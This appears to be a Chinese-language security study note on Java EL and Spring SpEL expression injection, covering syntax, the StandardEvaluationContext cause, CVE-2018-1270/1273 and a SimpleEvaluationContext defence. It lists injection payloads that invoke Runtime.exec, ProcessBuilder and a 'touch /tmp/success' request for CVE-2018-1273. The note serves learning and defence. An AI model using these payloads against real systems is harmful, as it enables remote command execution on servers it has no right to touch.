参考文献:
EL语法介绍:https://www.cnblogs.com/czs1982/p/3966748.html
SpEl:http://rui0.cn/archives/1043
CVE-2018-1270:https://github.com/CaledoniaProject/CVE-2018-1270
vulhub:https://github.com/vulhub
EL:
全名为Expression Language。EL主要作用:获取数据,执行运算,获取web开发常用对象,调用Java方法。
语法:
${表达式}
举例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15${userinfo.id}或${userinfo[id]} #访问userinfo的id属性。.和[]用于访问数据,二者等价。
${userinfo.[user-name]} #当属性名含有特殊符号时,就只能使用[],而不能${userinfo.user-name}
${arrBook[0]} #(假定arrBook为数组对象),访问request范围中的数组arrBook中的第一个元素
${goodsList[0]} #(假定goodsList为List对象),访问request范围中的goodsList的第一个元素
${1+2} #+无法实现两个字符串的拼接,只能做算术运算。
${empty user1} #user1==null或者user1==""的话,都会返回true。
${sessionScope.username} #取出Session范围的username 变量
<% Cookie cookie = new Cookie("user","uuu"); #使用response对象设置一个请求有效地cookie对象。
response.addCookie(cookie); %>
${cookie.user.value} #再使用EL获取该cookie对象的值
${pageContext} #对应于JSP页面中的pageContext对象(取的是pageContext对象)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} #获取web路径
${applicationScope} #获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} #执行命令
SpEL:
Spring 表达式语言(简称SpEL):是一个支持运行时查询和操作对象图的强大的表达式语言。通过 SpEL 可以实现:通过 bean 的 id 对 bean 进行引用,调用方式以及引用对象中的属性,计算表达式的值,正则表达式的匹配。
语法:
#{...}
举例:1
2
3
4
5
6
7
8
9
10
11
12#{car} #引用其他对象
#{car.brand} #引用其他对象的属性
#{car.toString()} #调用其它方法 , 还可以链式操作
#{T(java.lang.Math)} #使用Java的Math类
T(java.lang.Math).PI #将PI值装配到bean属性中
T(java.lang.Math).random() #计算得到一个0到1之间的随机数
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream()) #输出点回显
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
用法
Class expressions
SpEL中可以使用特定的Java类型,T()
用来访问Java类型中的静态属性或静态方法。()
需要包含类名的全限定名(包名加上类名)。但是,SpEL内置了java.lang包
下的类声明(例如java.lang.String
可以通过T(String)
访问)。通过T()
调用一个类的静态方法,将返回一个 Class Object
,然后再调用相应的方法或属性。
- 需导入的jar包
- 漏洞代码
1
2
3ExpressionParser parser = new SpelExpressionParser(); //ExpressionParser解析表达式字符串
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");//Expression表达以前定义的表达式字符串
Object value = exp.getValue();
Variables
变量通过EvaluationContext接口
的setVariable(variableName, value)方法
定义;在表达式中使用#variableName
引用;还允许引用根对象及当前上下文对象,使用#root
引用根对象,使用#this
引用当前上下文对象。1
2
3
4
5
6
7
8
9ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("abc");
context.setVariable("variable", "xyz");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1); //xyz
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2); //abc
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3); //abc
漏洞成因
在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
- EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口
1
2* SimpleEvaluationContext:针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。
* StandardEvaluationContext: 公开全套SpEL语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
两个相关的cve(直接用的大佬的vulhub里的环境。)
CVE-2018-1270
1 | Spring框架版本5.0-5.0.4,4.3-4.3.15 |
CVE-2018-1273
1 | Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) |
Payload1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
防御
使用SimpleEvaluationContext
代替StandardEvaluationContext